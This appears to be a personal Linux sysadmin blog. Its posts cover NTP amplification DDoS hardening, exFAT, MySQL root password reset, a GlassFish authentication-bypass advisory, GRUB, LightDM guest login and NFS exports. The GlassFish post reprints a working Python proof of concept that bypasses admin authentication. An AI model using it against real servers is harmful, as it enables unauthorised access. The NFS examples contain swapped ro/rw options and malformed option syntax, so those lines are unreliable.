Wednesday, February 12, 2014

Network Time Protocol(NTP) Based DDoS Attacks.

Accurate, reliable time is necessary for financial and legal transactions, transportation and distribution systemsand many other applications involving widely distributed resources. Network Time Protocol (NTP) is a protocol for synchronizing a set of network clocks using a set of distributed clients and servers. NTP is built on the User Datagram Protocol (UDP), which provides a connectionless transport mechanism.  NTP provides the protocol mechanisms to synchronize time in principle to precisions in the order of nanoseconds while preserving a non-ambiguous date, at least for this century.  The protocol includes provisions to specify the precision and estimated error of the local clock and the characteristics of the reference clock to which it may be synchronized [1].

Due to the use of UDP, NTP protocol is prone to amplification attacks because it will reply to a packet with a spoofed source IP address and because at least one of its built in commands will send a long reply to a short request. Symantec has notice in the last few weeks that there is a significant NTP reflection attacks. NTP is Network time protocol and it’s used to synch the time between client and server, it is a UDP protocol and it’s run on port 123 [4].

NTP contains a command called monlist (or sometimes MON_GETLIST) which can be sent to an NTP server for monitoring purposes. It returns the addresses of up to the last 600 machines that the NTP server has interacted with. This response is much bigger than the request sent making it ideal for an amplification attack [2].

In the case of DNS reflection, the amplification factor is 8x, meaning attackers could generate eight times more traffic than they would normally be able to generate with their botnet. However, in the case of NTP and SNMP reflection it can be over 200x and 650x, respectively, CloudFlare said in a blog post in January.

Recently CloudFlare was undergoing one of the biggest DDoS attack in the history. The new attack has used a technique called NTP reflection that involves sending requests with spoofed source IP addresses to NTP servers with the intention of forcing those servers to return large responses to the spoofed addresses instead of the real senders [3].

NTP is just one of several protocols that and can be abused to amplify DDoS attacks. Two others are DNS (Domain Name System) and SNMP (Simple Network Management Protocol). These protocols normally do not try to authenticate the source IP addresses. What these protocols have in common is that they allow a relatively small query to generate a large response and are vulnerable to source IP spoofing if certain precautions are not taken because they work over UDP (User Datagram Protocol) [3].

How to be safe in Unix Environment

In order to be safe against NTP based DDoS attacks targeting linux environments, following steps may be usefull. The following configuration is for a UNIX machine to act as simply an NTP client and never to allow NTP queries to it except from the loopback address [5]:

# by default act only as a basic NTP client
restrict -4 default nomodify nopeer noquery notrap
restrict -6 default nomodify nopeer noquery notrap
# allow NTP messages from the loopback address, useful for debugging
restrict 127.0.0.1
restrict ::1
# server(s) we time sync to
server 192.0.2.1
server 2001:DB8::1
server time.example.net


You can use your standard host firewall filtering capabilities to limit who the NTP process talks to. If you're using Linux and the host is acting as an NTP client only, the following iptables rules could be adapted to shield your NTP listener from unwanted remote hosts [5].

-A INPUT -s 0/0 -d 0/0 -p udp --source-port 123:123 -m state --state ESTABLISHED -j ACCEPT
-A OUTPUT -s 0/0 -d 0/0 -p udp --destination-port 123:123 -m state --state NEW,ESTABLISHED -j ACCEPT


For further reading about DDoS refer: http://www.secure.edu.pl/pdf/2013/D1_1530_A_Graham-Cumming.pdf

Reference:
[1] Mills, D. L. (1985). Network time protocol (NTP). Network.
[2] http://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks
[3] http://www.pcworld.com/article/2096720/attackers-use-ntp-reflection-in-huge-ddos-attack.html
[4] https://isc.sans.edu/forums/diary/NTP+reflection+attack/17300
[5] http://www.team-cymru.org/ReadingRoom/Templates/secure-ntp-template.html

Friday, November 1, 2013

How do I install and mount an exFAT partition?

Microsoft introduced the new exFAT file system with Vista SP1. Extended File Allocation Table (exFAT) is the successor to the old FAT32 file system [1].

As the very first step you may need to add the following URL to your repository base. To add the correct repository to Ubuntu 13.04 and lower:
$sudo apt-add-repository ppa:relan/exfat

To add the correct repository to Ubuntu 13.10:
$sudo add-apt-repository ppa:relan/exfat

To update your package list:
$sudo apt-get update

To search packages pertaining to exfat, following command can be used.
$apt-cache search exfat

Then it will display the following packages.
fuse-exfat - This driver is the first free exFAT file
exfat-utils - A set of utilities for creating, checking, dumping and labelling

To install these packages, following command can be used.
$apt-get install exfat-utils fuse-exfat

During this process, the following extra packages will be installed:
  fuse-utils
The following NEW packages will be installed:
  exfat-utils fuse-exfat fuse-utils

Easiest way to mount the exfat disk is, once the above installation is over, plug the storage device. It will be auto mounted.

Reference:
[1] http://www.tech-recipes.com/rx/2801/exfat_versus_fat32_versus_ntfs/#sthash.Dqeow04Z.dpuf

Monday, October 28, 2013

Reset mysql root Password

I wanted to reset the mysql root password of one of my temporary hosted mysql database server. Since it was not used for a long period of time, I couldn't remember the the root password correctly.

As the first step, I loged into the server as the root user. I was using a Ubuntu 12.04 server.

First log in to the system as a normal user and then 'sudo' to get root access.

As the second step it was need to stop the mysql daemon using the following command.
$/etc/init.d/mysql stop
$service mysql stop


Please note that any of the above command is working fine.

As the third step, I started up the mysql daemon and skipped the grant tables which store the passwords using the following command.
$mysqld_safe --skip-grant-tables

As the next step I connected to mysql without a password.
$mysql --user=root mysql

As the final step I entered the following command to set a password to the root user.
$UPDATE user SET Password=PASSWORD('new-password') WHERE user='root'; FLUSH PRIVILEGES;

The below listed format of the command also worked as expected
$UPDATE mysql.user SET Password=PASSWORD('new-password') WHERE User='root'; FLUSH PRIVILEGES;

Hope this will work fine to you also....:)

Tuesday, March 5, 2013

Security Vulnerabilities: Oracle GlassFish Server Administration Console Authentication Bypass

Description: When the server is vulnerable to Oracle GlassFish Server Administration Console GET Request Authentication Bypass, it fails to enforce authentication on HTTP requests that contain lower case method names (e.g. ’get’). A remote, unauthenticated attacker could exploit this to upload and execute arbitrary code.


Vulnerable packages:    Oracle GlassFish Server 3.0.1
    Sun GlassFish Enterprise Server 2.1.1

Non-vulnerable packages:    Oracle GlassFish Server 3.1
    Contact Oracle for patches for other GlassFish versions

Work around suggested by Core Security [1]:

For users who cannot upgrade to the latest patched version, the following workaround can be applied in order to avoid this flaw:
  1. In the GlassFish Admin Console, go to the Tasks tree.
  2. Navigate through: Network Config > Protocols > admin-listener > HTTP.
  3. There is a checkbox "Trace: Enable TRACE operation" (checked by default); uncheck it and then save changes.
  4. Finally, restart GlassFish by doing C:\glassfishv3\bin>asadmin restart-domain
Check the availability:

Nessus Scanner can be used to check the availability of the vulnerability


The following Python code published by Core Security is a Proof-of-Concept of the vulnerability; it will retrieve the content of the Log Viewer effectively bypassing the authentication [1]:

import sys
import httplib

def make_trace_request(host, port, selector):

    print '[*] TRACE request: %s' % selector
    headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',
                'Host': '%s:%s' % (host, port),
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-us,en;q=0.5',
                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Accept-Encoding': 'gzip,deflate',
                'Connection': 'close',
                'Referer': 'http://%s:%s%s' % (host, port, selector)}

    conn = httplib.HTTPConnection(host, port)
    conn.request('TRACE', selector, headers=headers)
    response = conn.getresponse()
    conn.close()

    print response.status, response.reason
    print response.getheaders()
    print response.read()

if len(sys.argv) != 3:
    print "Usage: $ python poc.py \nE.g:   $ python poc.py 192.168.0.1 4848"
    sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, '/common/logViewer/logViewer.jsf')


Reference

[1] Source: http://www.coresecurity.com/content/oracle-glassfish-server-administration-console-authentication-bypass
[2] http://www.securityfocus.com/archive/1/517965/30/0/threaded

Tuesday, December 25, 2012

Change Screen Resolution of Ubuntu 12.10 Server Running on Oracle Virtual Box

Hello,

I was having problem of changing the resolution of the console of Ubuntu 12.10 Server (64bit) version, running on Oracle Virtualbox environment.

First I installed Virtualbox guest additions using the following command.

#apt-get install virtualbox-guest-additions-iso

But I still couldn't change increase the resolution of the server console. Finally I tried the below method which was successful for me. I hope it will help you also.

Step 01:

Edit the file /etc/default/grub using your favorite text editor. Here I am using "vi"

#sudo vi  /etc/default/grub

......
......

# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console

# The resolution used on graphical terminal
# note that you can use only modes which your graphic card supports via VBE
# you can see them in real GRUB with the command `vbeinfo'
#GRUB_GFXMODE=640x480

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
#GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entries
#GRUB_DISABLE_RECOVERY="true"

......
......

In the above file uncomment the line "#GRUB_GFXMODE=640x480" 

You can increase the resolution by changing the values 640x480 to 800x600 or to 1024x768
Then save the file and exit.

Step 02:
Run the below command to upgrade the grub.

#sudo update-grub

Step 03:
Restart the Ubuntu server.

Note: Please note that if you host environment and/or the Virtualbox installation graphic configurations does not support specified level resolution the above steps won't work. Then try to change the resolution to a commonly used values.
    

Friday, November 30, 2012

Disable Guest Account on Ubuntu 12.10

I wanted to disable the "Guest" account on Ubuntu 12.10. A guest account allows anyone to use the computer without login credentials. No username or password is required.  Ubuntu has a guest account enabled by default right through to the current release, Ubuntu 12.10.

To disable the guest account from their Ubuntu 12.04 (Precise Pangolin) or later, we need to remove it from the account list in LightDM - this is the greeter screen you see on start-up. LightDM is an X display manager for login interfaces., which replaced the old GDM (Gnome Display Manager).

I ran the following command in the terminal to open /etc/lightdm/lightdm.conf file in the gedit text editor.

$ sudo gedit /etc/lightdm/lightdm.conf

Mine contains only:
[SeatDefaults]
user-session=ubuntu
greeter-session=unity-greeter


I added the following line to the end of the lightdm.conf file. Then I saved the file and closed the editor.

allow-guest=false

Finaly I restarted the LightDM using following command. Not that If you don't like to restart LightDM, you may wait untill the next re-boot of your system to take effect of the above modification.

Please note that, If you are going to restart lightdm using the following command, first save all unsaved documents. The command might close all the running applications.

$ sudo restart lightdm

You may use the above steps with your own risk. It worked fine with me... :)

Wednesday, October 10, 2012

Installing NFS Services on Ubuntu 12.10

The services required to enable NFS folder sharing are not installed by default on Ubuntu. They can easily be installed, however, by opening a terminal window and entering the following command:

#sudo apt-get install nfs-kernel-server

The installation process should automatically start the NFS service. To verify that the service is indeed running, execute the following command:

#sudo /etc/init.d/nfs-kernel-server status

If the output from the above command indicates that the service is not running, it may started as follows:

#sudo /etc/init.d/nfs-kernel-server start

Sharing Folders


Configuring an NFS server is as simple as placing a line in the /etc/exports file. That line has three pieces of information:

    The directory to be shared (exported)
    The computer, NIS group, hostname, domain name or subnet allowed to access that directory
    Any options, such as ro or rw, or several other options

Any folders which are to be shared are listed in the /etc/exports file which may be edited from a terminal window as follows. There's one line for each directory being shared. The general syntax is:

directory_being_shared subnet_allowed_to_access(options)

#sudo gedit /etc/exports

Each folder that is to be shared via NFS must have an entry in this file. The basic syntax is as follows:

(permissions)

For example, to allow a system with the IP address of 192.168.2.24 to access /tmp with read-only access, the following entry would be added to the /etc/exports file:

/tmp    192.168.2.24(rw,sync,no_subtree_check)

Similarly, to also make the folder accessible to a system with the hostname ubuntu2 with read/write permission, the line would read as follows:

/tmp    192.168.2.24(ro,sync,no_subtree_check) ubuntu2(rw,sync,no_sub_tree_check)

Alternatively, to provided read/write access to all hosts, simply use the wildcard character (*):

/tmp    *((rw,sync,no_sub_tree_check)

Once the folder entries have been made in the /etc/exports file, the current settings may be checked at any time by running the exportfs command:

#sudo exportfs
/tmp              192.168.2.24

Mounting an NFS Share on a Client

Mounting an NFS share on a client can be simple. At its simplest it might look like this:

#mount -t nfs -o ro 192.168.100.85:/data/altamonte /mnt/test

That same mount can be performed in /etc/fstab with the following syntax:

#192.168.100.85:/data/altamonte   /mnt/test   nfs   rw   0   0

There are many mount options that can be used, and those are listed in this article.